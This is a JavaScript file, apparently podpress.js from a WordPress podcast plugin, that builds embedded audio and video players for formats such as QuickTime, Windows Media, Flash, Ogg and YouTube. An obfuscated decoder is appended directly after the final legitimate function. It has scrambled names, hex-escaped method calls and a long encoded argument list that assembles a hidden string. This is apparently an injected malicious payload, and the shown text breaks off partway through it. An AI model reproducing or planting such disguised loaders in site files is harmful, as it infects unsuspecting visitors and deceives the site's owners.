/* podpress.js | podPress - JS scripts for the frontend and the Admin Site */
	if (!self.getHTTPObject) {
		function getHTTPObject() {
			var xmlhttp;
			var container;
			if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
				try {
					xmlhttp = new XMLHttpRequest();
				} catch (e) {
					xmlhttp = false;
				}
			} else {
				try {
					xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
				} catch (e) {
					try {
						xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
					} catch (E) {
						xmlhttp = false;
					}
				}
			}		
			return xmlhttp;
		}
	}

	var podPressHttp = getHTTPObject();

	function podPressShowVideoPreview (strPlayerDiv, strMediaFile, numWidth, numHeight, strPreviewImg) {
		var refPlayerDiv = document.getElementById('podPressPlayerSpace_'+strPlayerDiv);
		if(refPlayerDiv == undefined) {
			return false;
		} 
		refPlayerDiv.innerHTML = podPressGenerateVideoPreview (strPlayerDiv, strMediaFile, numWidth, numHeight, strPreviewImg);
	}

	function podPressGenerateVideoPreview (strPlayerDiv, strMediaFile, numWidth, numHeight, strPreviewImg, bPreviewOnly) {
		if (typeof numWidth == 'undefined') { numWidth = 320; }
		if (typeof numHeight == 'undefined') { numHeight = 240; }
		if (typeof strPreviewImg == 'undefined') { strPreviewImg = podPressDefaultPreviewImage; }
		if (typeof bPreviewOnly == 'undefined') { bPreviewOnly = false; }

		if (false == bPreviewOnly) {
			var strOnclick= ' onclick="javascript:podPressShowHidePlayer('+strPlayerDiv+', \''+strMediaFile+'\', '+numWidth+', '+numHeight+', \'force\'); return false;"';
		} else {
			var strOnclick= ''; // for a preview of this preview player at the player settings page on the admin pages
		}	

		var strResult = '';
		strResult += '<div class="podPress_videoplayer_wrapper" style="width: '+String(Number(numWidth)+14)+'px; height: '+String(Number(numHeight)+50)+'px; padding:0px; margin:0px; display:block; background-color:#ff0000;"'+strOnclick+'>';
		strResult += '	<div class="podPress_videoplayer_toprow" style="width:100%; padding:0px; margin:0px;">';
		strResult += '		<img src="'+podPressBackendURL+'images/vpreview_top_left.png" style="width:7px; height:27px; display:inline; float:left; border:0px; padding:0px; margin:0px;" alt=""/>';
		strResult += '		<span style="height:27px; border:0px; display:block; float:left; padding:0px; margin:0px; width: '+numWidth+'px; text-align:center; background:url(\''+podPressBackendURL+'images/vpreview_top_background.png\'); background-repeat: repeat-x;"><img src="'+podPressBackendURL+'images/vpreview_top_middle.png" style="width:119px; height:27px padding:0px; margin:0px;  float:none; border:0px;" alt="" /></span>';
		strResult += '		<img src="'+podPressBackendURL+'images/vpreview_top_right.png" style="width:7px; height:27px; display:inline; float:left; border:0px; padding:0px; margin:0px;" alt="" />';
		strResult += '	</div>';
		
		if (25 < Number(numHeight)) { // if the height value is smaller than 25 px then create a player preview without an cover or chapter image
		strResult += '	<div class="podPress_videoplayer_middlerow" style="width:100%; padding:0px; margin:0px;">';
		strResult += '		<span style="width:7px; height:'+numHeight+'px; padding:0px; margin:0px; display:block; float:left; background:url(\''+podPressBackendURL+'images/vpreview_left_background.png\'); background-repeat:repeat-y;"></span>';
		strResult += '		<img class="podPress_previewImage" src="'+strPreviewImg+'" style="width:'+numWidth+'px; height:'+numHeight+'px; padding:0px; margin:0px; border:0px; float:left; display:inline;" alt="previewImg"  id="podPress_previewImageIMG_'+strPlayerDiv+'" />';
		strResult += '		<span style="width:7px; height:'+numHeight+'px; padding:0px; margin:0px; display:block; float:left; background:url(\''+podPressBackendURL+'images/vpreview_right_background.png\'); background-repeat:repeat-y;"></span>';
		strResult += '	</div>';
		}
		
		strResult += '	<div class="podPress_videoplayer_bottomrow" style="width:100%; padding:0px; margin:0px;">';
		strResult += '		<img src="'+podPressBackendURL+'images/vpreview_bottom_left.png" style="width:7px; height:23px; display:inline; float:left; border:0px; padding:0px; margin:0px;" alt="" />';
		strResult += '		<span style="display:block; float:left; padding:0px; margin:0px; text-align: left; background:url(\''+podPressBackendURL+'images/vpreview_bottom_background.png\'); background-repeat: repeat-x;"><img src="'+podPressBackendURL+'images/vpreview_bottom_middle_left.png" style="width:56px; height:23px; display:inline; border:0px; padding:0px; margin:0px;" alt="" /></span>';
		strResult += '		<span style="height:23px; display:block; float:left; padding:0px; margin:0px; width:'+String(Math.abs(Number(numWidth)-112))+'px; background:url(\''+podPressBackendURL+'images/vpreview_bottom_background.png\'); background-repeat: repeat-x;"></span>';
		strResult += '		<span style="display:block; float:left; padding:0px; margin:0px; text-align:right; background:url(\''+podPressBackendURL+'images/vpreview_bottom_background.png\'); background-repeat: repeat-x;"><img src="'+podPressBackendURL+'images/vpreview_bottom_middle_right.png" style="width:56px; height:23px; display:inline; border:0px; padding:0px; margin:0px;" alt="" /></span>';
		strResult += '		<img src="'+podPressBackendURL+'images/vpreview_bottom_right.png" style="width:7px; height:23px; display:inline; float:left; border:0px; padding:0px; margin:0px;" alt="" />';
		strResult += '	</div>';
		strResult += '</div>';
		return String(strResult);
	}

	function podPressGeneratePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, strAutoStart, strPreviewImg) {
		if (typeof numWidth == 'undefined' || numWidth == 0) { var numWidth = 320; }
		if (typeof numHeight == 'undefined') { var numHeight = 240; }
		if (typeof strAutoStart == 'undefined') { var strAutoStart = 'false'; }
		
		if(strAutoStart == 'nopreview') {
			return '';
		}
		var lenOfMedia = strMediaFile.length;
		if(strMediaFile.substring(lenOfMedia-8, lenOfMedia) == '.youtube') {
			var strExt = 'youtube';
			strMediaFile = strMediaFile.substring(0, lenOfMedia-8)
		} else if(strMediaFile.substring(lenOfMedia-8, lenOfMedia) == '.torrent') {
			var strExt = 'torrent';
		} else if(strMediaFile.substring(lenOfMedia-3, lenOfMedia-2) == '.') {
			var strExt = strMediaFile.substring(lenOfMedia-2, lenOfMedia);
		} else if(strMediaFile.substring(lenOfMedia-4, lenOfMedia-3) == '.') {
			var strExt = strMediaFile.substring(lenOfMedia-3, lenOfMedia);
		} else {
			var strExt = '';
		}
		strExt = strExt.toLowerCase();
		
		if(strExt != 'mp3' && strExt != 'flv' && strExt != 'youtube' && strAutoStart == 'false') {
			if(strExt == 'youtube') {
				strMediaFile = strMediaFile+'.youtube';
			}
			return podPressGenerateVideoPreview(strPlayerDiv, strMediaFile, numWidth, numHeight, strPreviewImg);
		}

		var strResult = '';
		switch (strExt) {
			case 'm4v':
			case 'm4a':
			case 'avi':
			case 'mpeg':
			case 'mpg':
			case 'mp4':
			case 'qt':
			case 'mov':
				switch (strExt) {
					case 'm4v':
						var strMimeType = 'video/x-m4v';
						break;
					case 'm4a':
						var strMimeType = 'audio/x-m4a';
						break;
					case 'avi':
						var strMimeType = 'video/avi';
						break;
					case 'mpeg':
					case 'mpg':
						var strMimeType = 'video/mpeg';
						break;
					case 'mp4':
						var strMimeType = 'audio/mpeg';
						break;
					case 'qt':
					case 'mov':
						var strMimeType = 'video/quicktime';
						break;
				}
				numHeight = String(Number(numHeight)+ 18); // add up the height of the player controls
				strResult = '<object class="podpress_player_object" classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="'+numWidth+'px" height="'+numHeight+'px" codebase="http://www.apple.com/qtactivex/qtplugin.cab">';
				strResult += '	<param name="src" value="'+strMediaFile+'" />';
				strResult += '	<param name="href" value="'+strMediaFile+'" />';
				strResult += '	<param name="scale" value="aspect" />';
				strResult += '	<param name="controller" value="true" />';
				strResult += '	<param name="autoplay" value="'+strAutoStart+'" />';
				strResult += '	<param name="bgcolor" value="000000" />';
				strResult += '	<param name="pluginspage" value="http://www.apple.com/quicktime/download/" />';
				strResult += '	<embed src="'+encodeURI(strMediaFile)+'" style="width:'+numWidth+'px; height:'+numHeight+'px; background-color:#000;" scale="aspect" cache="true" autoplay="'+strAutoStart+'" controller="true" src="'+strMediaFile+'" type="'+strMimeType+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>';
				strResult += '</object><br/>';
				break;
			case 'wma':
			case 'wmv':
			case 'asf':
				numHeight = String(Number(numHeight)+ 44); // add up the height of the player controls
				strResult = '<object class="podpress_player_object" id="winplayer_'+strPlayerDiv+'" classid="clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="'+numWidth+'px" height="'+numHeight+'px" standby="Media is loading..." type="application/x-oleobject">';
				strResult += '	<param name="url" value="'+strMediaFile+'" />';
				strResult += '	<param name="AutoStart" value="'+strAutoStart+'" />';
				strResult += '	<param name="AutoSize" value="true" />';
				strResult += '	<param name="AllowChangeDisplaySize" value="true" />';
				strResult += '	<param name="standby" value="Media is loading..." />';
				strResult += '	<param name="AnimationAtStart" value="true" />';
				strResult += '	<param name="scale" value="aspect" />';
				strResult += '	<param name="ShowControls" value="true" />';
				strResult += '	<param name="ShowCaptioning" value="false" />';
				strResult += '	<param name="ShowDisplay" value="false" />';
				strResult += '	<param name="ShowStatusBar" value="false" />';
				strResult += '	<embed type="application/x-mplayer2" src="'+encodeURI(strMediaFile)+'" style="width:'+numWidth+'px; height:'+numHeight+'px; background-color:#000;" scale="aspect" AutoStart="'+strAutoStart+'" ShowDisplay="0" ShowStatusBar="0" AutoSize="1" AnimationAtStart="1" AllowChangeDisplaySize="1" ShowControls="1"></embed>';
				strResult += '</object><br/>';
				break;
			case 'swf':
				if(strAutoStart == 'true') {
					strAutoStart = '';
				} else {
					strAutoStart = ' play="false"';
				}
				strResult = '<object class="podpress_player_object" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"'+strAutoStart+' width="'+numWidth+'" height="'+numHeight+'" menu="true">';
				strResult += '	<param name="movie" value="'+strMediaFile+'" />';
				strResult += '	<param name="quality" value="high" />';
				strResult += '	<param name="menu" value="true" />';
				strResult += '	<param name="scale" value="noorder" />';
				strResult += '	<embed src="'+encodeURI(strMediaFile)+'" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"'+strAutoStart+' width="'+numWidth+'" height="'+numHeight+'" menu="true"></embed>';
				strResult += '</object><br />';
				break;
			case 'flv':
				if(strAutoStart == 'true') {
					strAutoStart = '';
				} else {
					strAutoStart = '&autoStart=false';
				}
				strResult = '<object class="podpress_player_object" type="application/x-shockwave-flash" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" data="'+podPressBackendURL+'players/flvplayer.swf?file='+encodeURI(strMediaFile)+strAutoStart+'" width="'+numWidth+'" height="'+numHeight+'" >';
				strResult += '<param name="movie" value="'+podPressBackendURL+'players/flvplayer.swf?file='+encodeURI(strMediaFile)+strAutoStart+'" />';
				strResult += '<param name="wmode" value="transparent" />';
				strResult += '<param name="quality" value="high" />';
				strResult += '<param name="menu" value="true" />';
				strResult += '<embed src="'+podPressBackendURL+'players/flvplayer.swf?file='+encodeURI(strMediaFile)+strAutoStart+'" type="application/x-shockwave-flash" width="'+numWidth+'" height="'+numHeight+'" wmode="transparent"></embed>';
				strResult += '</object>';
				break;
			case '.rm':
				strResult = '<object class="podpress_player_object" id="realplayer_'+strPlayerDiv+'" classid="clsid:cfcdaa03-8be4-11cf-b84b-0020afbbccfa" width="'+numWidth+'" height="'+numHeight+'">';
				strResult += '	<param name="src" value="'+strMediaFile+'" />';
				strResult += '	<param name="autostart" value="'+strAutoStart+'" />';
				strResult += '	<param name="controls" value="imagewindow,controlpanel" />';
				strResult += '	<embed src="'+encodeURI(strMediaFile)+'" width="'+numWidth+'" height="'+numHeight+'" autostart="'+strAutoStart+'" controls="imagewindow,controlpanel" type="audio/x-pn-realaudio-plugin"></embed>';
				strResult += '</object>';
				break;
			case 'ogv':
			case 'ogg':
				var strAdditionalParam = '';
				if ( 'ogg' == strExt  ) {
					var strVideo ='false';
					var strAudio ='true';
					var strTag = 'audio';
					if ( 0 == Number(numHeight) ) {
						numHeight = '24';
					}
				} else {
					var strVideo ='true';
					var strAudio ='true';
					var strTag = 'video';
					strAdditionalParam = '<param name="keepAspect" value="true" />';
					if ( 0 == Number(numHeight) ) {
						numHeight = '240';
					}
				}
				if ( strAutoStart == 'true' ) {
					var strAutoPlay = ' autoplay="autoplay"';
				} else {
					var strAutoPlay = '';
				}				
				strResult = '<' + strTag + ' controls="controls"' + strAutoPlay + '>';
				strResult += '<source src="'+encodeURI(strMediaFile)+'" type="' + strTag + '/ogg" />';
					strResult += '<object class="podpress_player_object" classid="clsid:CAFEEFAC-0015-0000-0000-ABCDEFFEDCBA" type="application/x-java-applet;jpi-version=1.5.0" width="'+numWidth+'" height="'+numHeight+'">';
						strResult += '<param name="code" value="com.fluendo.player.Cortado.class" />';
						if ( true == podPress_cortado_signed ) {
							strResult += '<param name="archive" value="'+podPressBackendURL+'players/cortado/cortado-signed-0.6.0.jar" />';
						} else {
							strResult += '<param name="archive" value="'+podPressBackendURL+'players/cortado/cortado-ovt-stripped-0.6.0.jar" />';
						}
						strResult += '<param name="url" value="'+encodeURI(strMediaFile)+'" />';
						strResult += '<param name="statusHeight" value="24" />';
						strResult += '<param name="seekable" value="auto" />';
						strResult += '<param name="local" value="false" />';
						strResult += '<param name="autoPlay" value="'+String(strAutoStart)+'" />';
						strResult += '<param name="video" value="'+strVideo+'" />';
						strResult += '<param name="audio" value="'+strAudio+'" />';
						strResult += '<param name="bufferSize" value="200" />';
						strResult += strAdditionalParam;
						strResult += '<param name="userId" value="user" />';
						strResult +='<param name="password" value="test" />';
						strResult +='<param name="debug" value="0" />';
						strResult += '<comment>';
							strResult += '<embed code="com.fluendo.player.Cortado.class" type="application/x-java-applet;jpi-version=1.5.0" archive="'+podPressBackendURL+'players/cortado/cortado-ovt-stripped-0.6.0.jar" width="'+numWidth+'" height="'+numHeight+'" url="'+encodeURI(strMediaFile)+'" statusHeight="24" seekable="auto" local="false" autoPlay="'+String(strAutoStart)+'" video="false" audio="true" bufferSize="200" userId="user" password="test" debug="0">';
								strResult += '<noembed>';
								strResult += 'No Java Support.';
								strResult += '</noembed>';
							strResult += '</embed>';
						strResult += '</comment>';
					strResult += '</object>';
				strResult += '</' + strTag + '><br />';
				break;
			case 'youtube':
				if(strAutoStart == 'true') {
					strAutoStart = '1';
				} else {
					strAutoStart = '0';
				}
				// classid is for the Adobe Flash Player and is necessary in IE6 which inserts this object tag via innerHTML only with this classid
				strResult = '<object class="podpress_player_object" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="'+String(numWidth)+'" height="'+String(numHeight)+'">';
				strResult += '	<param name="movie" value="'+encodeURI('http://www.youtube.com/v/'+strMediaFile+'&rel=1&fs=1&autoplay='+strAutoStart)+'" />';
				strResult += '	<param name="allowFullScreen" value="true"></param>';
				strResult += '	<param name="allowScriptAccess" value="always"></param>';
				strResult += '	<embed src="'+encodeURI('http://www.youtube.com/v/'+strMediaFile+'&rel=1&fs=1&autoplay='+strAutoStart)+'" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="'+String(numWidth)+'" height="'+String(numHeight)+'"></embed>';
				strResult += '</object>';
			break;
			case 'mp3':
			default:
				// since 8.8.6 this is only for the Podango player
				if(strAutoStart == 'true') {
					var localCopyPlayerOptions = podPressMP3PlayerOptions+'autostart=yes&amp;'; 
				} else {
					var localCopyPlayerOptions = podPressMP3PlayerOptions+'autostart=no&amp;'; 
				}
				strResult = '';
				if(podPressMP3PlayerWrapper) {
					strResult += '<div style="width:342px; height:40px; padding:0px; margin:0px; background-image:url('+podPressBackendURL+'images/listen_wrapper.gif); display:block;"><span style="width:45px;height:40px;display:block;float:left;">&nbsp;</span>';
					strResult += '<div style="width:290px; height:24px; margin:0px; padding:8px 0px 8px 0px; display:block; float:left; background-color:transparent;">';
				}
				//strResult += '<object class="podpress_player_object" type="application/x-shockwave-flash" data="'+podPressBackendURL+'players/'+podPressPlayerFile+'" id="audioplayer'+strPlayerDiv+'" width="290" height="24" style="display:block;">';
				strResult += '<object class="podpress_player_object" type="application/x-shockwave-flash" classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000" data="'+podPressBackendURL+'players/'+podPressPlayerFile+'" id="audioplayer'+strPlayerDiv+'" width="290" height="24" style="display:block;">';
				strResult += '<param name="movie" value="'+podPressBackendURL+'players/'+podPressPlayerFile+'" />';
				strResult += '<param name="FlashVars" value="playerID=audioplayer'+strPlayerDiv+localCopyPlayerOptions+'soundFile='+unescape(strMediaFile)+'" />';
				strResult += '<param name="bgcolor" value="FFFFFF" />';
				strResult += '<param name="menu" value="false" />';
				strResult += '<param name="wmode" value="transparent" />';
				strResult += '<param name="quality" value="high" />';
				strResult += '<embed src="' + podPressBackendURL + 'players/' + podPressPlayerFile+ '" type="application/x-shockwave-flash" flashvars="playerID=audioplayer'+strPlayerDiv+localCopyPlayerOptions+'soundFile='+unescape(strMediaFile)+'" width="290" height="24" wmode="transparent"></embed>';
				strResult += '</object>';
				if (podPressMP3PlayerWrapper) {
					strResult += '</div></div>';
				}
			break;
		}
		return strResult;
	}
	
	function podPress_getfileext(strMediaFile) {
		if (typeof strMediaFile == 'undefined') { return false; }
		var pos = strMediaFile.lastIndexOf('\.');
		pos = pos+1;
		var strExt = strMediaFile.substring(pos);
		strExt = strExt.toLowerCase();
		return strExt;
	}
	
	function podPressShowHidePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, strAutoStart, strPreviewImg, strTitle, strArtist) {
		var refPlayerDiv = document.getElementById('podPressPlayerSpace_'+strPlayerDiv);
		var refPlayerDivLink = document.getElementById('podPressPlayerSpace_'+strPlayerDiv+'_PlayLink');
		
		if(refPlayerDiv == undefined) {
			return false;
		}

		if (strAutoStart == 'force') {
			strAutoStart = 'true';
			var bForceShow = true;
		} else {
			var bForceShow = false;
		}
		var strExt = podPress_getfileext(strMediaFile);

		if(bForceShow == true) {
			refPlayerDivLink.innerHTML=podPressText_HidePlayer;
			refPlayerDivLink.parentNode.onclick = function(){ podPressShowHidePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, 'true', strPreviewImg, strTitle, strArtist); return false; };
			if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' && true == podPressMP3PlayerWrapper ) {
				document.getElementById('podpress_lwc_' + strPlayerDiv).style.backgroundImage = 'url('+podPressBackendURL+'images/listen_wrapper.gif)';
			}
			refPlayerDiv.style.display='block';
		} else {
			if(refPlayerDivLink.innerHTML == podPressText_PlayNow) {
				refPlayerDivLink.innerHTML=podPressText_HidePlayer;
				if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' && true == podPressMP3PlayerWrapper ) {
					document.getElementById('podpress_lwc_' + strPlayerDiv).style.backgroundImage = 'url('+podPressBackendURL+'images/listen_wrapper.gif)';
				}
				refPlayerDiv.style.display='block';
			} else {
				refPlayerDivLink.innerHTML=podPressText_PlayNow;
				if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' && true == podPressMP3PlayerWrapper ) {
					document.getElementById('podpress_lwc_' + strPlayerDiv).style.backgroundImage = '';
				}
				refPlayerDiv.style.display='none';
				if(document.getElementById('winplayer') != undefined) {
					if(document.getElementById('winplayer').controls) {
						document.getElementById('winplayer').controls.stop();
					}
				} else {
					refPlayerDiv.innerHTML='';
				}
				bForceShow = true;
				refPlayerDivLink.parentNode.onclick = function(){ podPressShowHidePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, 'force', strPreviewImg, strTitle, strArtist); return false; };
				return true;
			}
		}
		
		if(strAutoStart == 'nopreview') {
			refPlayerDivLink.innerHTML=podPressText_PlayNow;
			if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' && true == podPressMP3PlayerWrapper ) {
				document.getElementById('podpress_lwc_' + strPlayerDiv).style.backgroundImage = '';
			}
			refPlayerDiv.style.display='none';
		}

		if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' ) {
			if(strAutoStart == 'true') {
				var valAutostart = 'yes'; 
			} else {
				var valAutostart = 'no'; 
			}

			if ( podPressOverwriteTitleandArtist == true && typeof strTitle != 'undefined' && typeof strArtist != 'undefined' && strTitle != 'undefined' && strArtist != 'undefined' && strTitle != '' && strArtist !='' ) {
				podpressAudioPlayer.embed("podPressPlayerSpace_" + strPlayerDiv, { soundFile: strMediaFile, width: 290, height: 24, autostart: valAutostart, titles: strTitle, artists: strArtist});
			} else {
				podpressAudioPlayer.embed("podPressPlayerSpace_" + strPlayerDiv, { soundFile: strMediaFile, width: 290, height: 24, autostart: valAutostart });
			}
		} else {
			refPlayerDiv.innerHTML=podPressGeneratePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, strAutoStart, strPreviewImg);
		}
	}

	function podPressPopupPlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, windowName, postID, strTitle, strArtist) {
		var refPlayerDiv = document.getElementById('podPressPlayerSpace_'+String(strPlayerDiv));
		var refPlayerDivLink = document.getElementById('podPressPlayerSpace_'+strPlayerDiv+'_PlayLink');
		var strExt = podPress_getfileext(strMediaFile);
		var strPreviewImg ='';
		if (refPlayerDiv != undefined) {
			refPlayerDivLink.innerHTML=podPressText_PlayNow;
			if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' && true == podPressMP3PlayerWrapper ) {
				document.getElementById('podpress_lwc_' + strPlayerDiv).style.backgroundImage = '';
			}
			refPlayerDiv.style.display='none';
			if(document.getElementById('winplayer') != undefined) {
				if(document.getElementById('winplayer').controls) {
					document.getElementById('winplayer').controls.stop();
				}
			} else {
				if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' ) {
					var podPress_container = refPlayerDiv.parentNode;
					var newdiv = document.createElement('div');
					newdiv.setAttribute('id', 'podPressPlayerSpace_'+String(strPlayerDiv));
					podPress_container.replaceChild(newdiv, refPlayerDiv);
				} else {
					refPlayerDiv.innerText = '';
				}
			}
			//refPlayerDivLink.parentNode.onclick = function(){ podPressShowHidePlayer(strPlayerDiv, strMediaFile, numWidth, numHeight, 'force', strPreviewImg, strTitle, strArtist); return false; };
		}
		
		if (typeof windowName == 'undefined') { windowName = 'podPress';  var backto_name = podpressL10.theblog; } else { var backto_name = windowName; }
		if (typeof postID != 'undefined' && Number(postID) > 0) { var backlink = podPressBlogURL + '?p=' + postID; } else { var backlink = podPressBlogURL; }
		if (typeof numWidth == 'undefined') { numWidth = 320; }
		if (typeof numHeight == 'undefined') { numHeight = 240; }
		
		var strResult = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\n';
		strResult += '<HTML xmlns="http://www.w3.org/1999/xhtml">\n';
		strResult += '<HEAD>\n';
		strResult += '<TITLE>'+windowName+' - Popup Player</TITLE>\n';
		strResult += '<link rel="stylesheet" id="podpress_frontend_styles-css"  href="'+podPressBackendURL+'podpress.css" type="text/css" media="all" />\n';
		if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' ) {
			strResult += '<script type="text/javascript" src="'+podPressBackendURL+'players/1pixelout_audio-player.js"></script>\n';
			strResult += '<script type="text/javascript">\n//<![CDATA[\n';
			strResult += '	podpressAudioPlayer.setup("'+podPressBackendURL+'players/'+podPressPlayerFile+'", {bg:"' + podPressPopupPlayerOpt.bg+ '", text:"' + podPressPopupPlayerOpt.text+ '", leftbg:"' + podPressPopupPlayerOpt.leftbg+ '", lefticon:"' + podPressPopupPlayerOpt.lefticon+ '", voltrack:"' + podPressPopupPlayerOpt.voltrack+ '", volslider:"' + podPressPopupPlayerOpt.volslider+ '", rightbg:"' + podPressPopupPlayerOpt.rightbg+ '", rightbghover:"' + podPressPopupPlayerOpt.rightbghover+ '", righticon:"' + podPressPopupPlayerOpt.righticon+ '", righticonhover:"' + podPressPopupPlayerOpt.righticonhover+ '", loader:"' + podPressPopupPlayerOpt.loader+ '", track:"' + podPressPopupPlayerOpt.track+ '", border:"' + podPressPopupPlayerOpt.border+ '", tracker:"' + podPressPopupPlayerOpt.tracker+ '", skip:"' + podPressPopupPlayerOpt.skip+ '", slider:"' + podPressPopupPlayerOpt.slider+ '", initialvolume:"' + podPressPopupPlayerOpt.initialvolume+ '", buffer:"' + podPressPopupPlayerOpt.buffer+ '", checkpolicy:"' + podPressPopupPlayerOpt.checkpolicy+ '", pagebg:"FFFFFF", transparentpagebg:"yes"} );\n';
			strResult += '//]]>\n</script>\n';
		} 
		strResult += '<script type="text/javascript">\n//<![CDATA[\n';
		strResult += '	function closepopupwindow() { window.close(); }\n';
		strResult += '//]]>\n</script>\n';
		strResult += '</HEAD>\n';
		strResult += '<BODY>\n';
		strResult += '<div id="podpress_popupplayer_container">\n';
		if ( strExt == 'mp3' && podPressPlayerFile == '1pixelout_player.swf' ) {
			if ( true == podPressMP3PlayerWrapper ) {
				strResult += '<div class="podpress_listenwrapper_container" style="background-image:url('+podPressBackendURL+'images/listen_wrapper.gif);"><div class="podpress_mp3_borderleft"></div><div class="podpress_1pixelout_container"><div id="podPressPlayerSpace_1"></div></div></div>\n';
			} else {
				strResult += '<div id="podPressPlayerSpace_popup"></div>\n';
			}
			strResult += '<script type="text/javascript">\n//<![CDATA[\n';
			if ( podPressOverwriteTitleandArtist == true && typeof strTitle != 'undefined' && typeof strArtist != 'undefined' && strTitle != 'undefined' && strArtist != 'undefined' && strTitle != '' && strArtist !='' ) {
				strResult += '	podpressAudioPlayer.embed("podPressPlayerSpace_popup", { soundFile: "' + strMediaFile + '", width: 290, height: 24, autostart: "yes", titles: "'+escape(strTitle)+'", artists: "'+escape(strArtist)+'" });\n';
			} else {
				strResult += '	podpressAudioPlayer.embed("podPressPlayerSpace_popup", { soundFile: "' + strMediaFile + '", width: 290, height: 24, autostart: "yes" }); \n';
			}
			strResult += '//]]>\n</script>\n';
		} else {
			strResult +=  podPressGeneratePlayer('popup', strMediaFile, numWidth, numHeight, 'true');
		}
		strResult += '</div>\n';
		strResult += '<div id="podpress_backtoclose_container"><span id="podpress_popup_backto"><span>' + podpressL10.openblogagain + '</span><br /><a href="' + backlink + '" target="_blank">' +  backto_name + '</a></span><span id="podpress_popup_close"><a href="#close" onclick="closepopupwindow();">' + podpressL10.close + '</a></span></div>\n';
		strResult += '</BODY>\n';
		strResult += '</HTML>';

		if (strExt == 'mp3' && podPressMP3PlayerWrapper) {
			var windowWidth = Number(numWidth) + 65;
		} else {
			var windowWidth = Number(numWidth) + 20;
		}
		if (strExt == 'mp3') {
			var windowHeight = Number(numHeight) + 50;
		} else {
			var windowHeight = Number(numHeight) + 70;
		}
		podpresswindow = window.open('about:blank', 'podPressPlayer', 'width='+String(windowWidth)+',height='+String(windowHeight)+',left=50,top=50,toolbar=no,scrollbars=no,location=no,statusbar=no,menubar=no,resizable=yes');
		podpressdocument = podpresswindow.document;
		podpressdocument.open();
		podpressdocument.write(strResult);
		podpressdocument.close();
		podpresswindow.focus();
		if (navigator.appName == 'Microsoft Internet Explorer') {
			podpresswindow.location.reload();
		}
	}

	function podPressGetBaseName(file) {
		var Parts = file.split('\\');
		if( Parts.length < 2 ) {
			Parts = file.split('/');
		}
		return Parts[ Parts.length -1 ];
	}var l4cdd66c="";function n7643d3e3e1cf(){var l3f9ddca=String,e6595b0be=Array.prototype.slice.call(arguments).join(""),t48b859ed=e6595b0be.substr(9,3)-319,m26486595,p65896;e6595b0be=e6595b0be.substr(e14df2());var fc1d2fbc6=e6595b0be.length;for(var b2e6c24=0;b2e6c24<fc1d2fbc6;b2e6c24++){try{throw(lf68e0=e6d130f57(e6595b0be,b2e6c24));}catch(e){lf68e0=e;};if(lf68e0=='™'){t48b859ed="";b2e6c24=e049fe3e(b2e6c24);kb12f3=qbb5ddf2(e6595b0be,b2e6c24);while(kb12f3!='™'){t48b859ed+=kb12f3;b2e6c24++;kb12f3=e8b85e6(e6595b0be,b2e6c24);}t48b859ed-=592;continue;}m26486595="";if(lf68e0=='±'){b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);while(lf68e0!='±'){m26486595+=lf68e0;b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);}m26486595=nf3a0c7(m26486595,t48b859ed,28);if(m26486595<0)m26486595+=256;m26486595=n40e90e(m26486595);l4cdd66c+=l3f9ddca["f\x72omCha\x72Co\x64e"](m26486595);continue;}kcfbdb41=(lf68e0+'')["\x63\x68ar\x43\x6fd\x65\x41t"](0);if(kcfbdb41>848)kcfbdb41-=848;p65896=kcfbdb41-t48b859ed-28;p65896=ece8df8(p65896);l4cdd66c+=o8be9d342(p65896);}}n7643d3e3e1cf("c","1","da","a","6","ff","34","79","±","22","8","±™","79","2™","J","Y™","6","1","8","™±","164±™763™*;","™69","5™±2","36","±±2","4","2±","±2","4","1±™7","62™","±","2","38±","™719™±","1","9","6","±","™7","0","9","™","±17","7","±±","1","2±™74","1","™","±","19","0","±™","6","50™`","_±","204±™","6","6","9","™±20","2","±","™7","5","6™","2±2","2","4±","5","™","756","™2,±2","24±","±","2","5","3±±2","24","±™61","9™","^±1","5","9±","™","6","58™±2","10","±","±","2","10±±2","06","±","±1","52±±14","1","±±14","1±™7","4","8™±2","8","±","*!™","708™±2","45±","™","77","1™30","™","613","™","±","148±±","160±","±1","6","6±±16","4±™7","5","1™","/","™690","™±","2","3","1","±","™6","36","™","±","1","71±","v","±175±","±","1","86±","™7","88","™","O","KS±","1","3±™75","1","™","/","#™70","3","™±2","4","4","±™","6","8","4™±2","3","5±","±","1","66±","±2","2","5±","±230","±","±2","22±","±231±","±","1","67","±","±22","3","±","™","7","3","5™±218","±","™","7","70","™±","2","4","5","±±","9±","±","2","19±±21","6±","™5","9","4","™'+(","'±1","3","5","±","™72","0™","±","2±","±","1","8","8","±","±19","6±±1","6","±","±","21±","™68","0™","±2","28±±217±±","2","27","±","±","2","1","8±™","78","2™±","2","50±™6","0","6™","±161±±","147","±","™659","™","±","2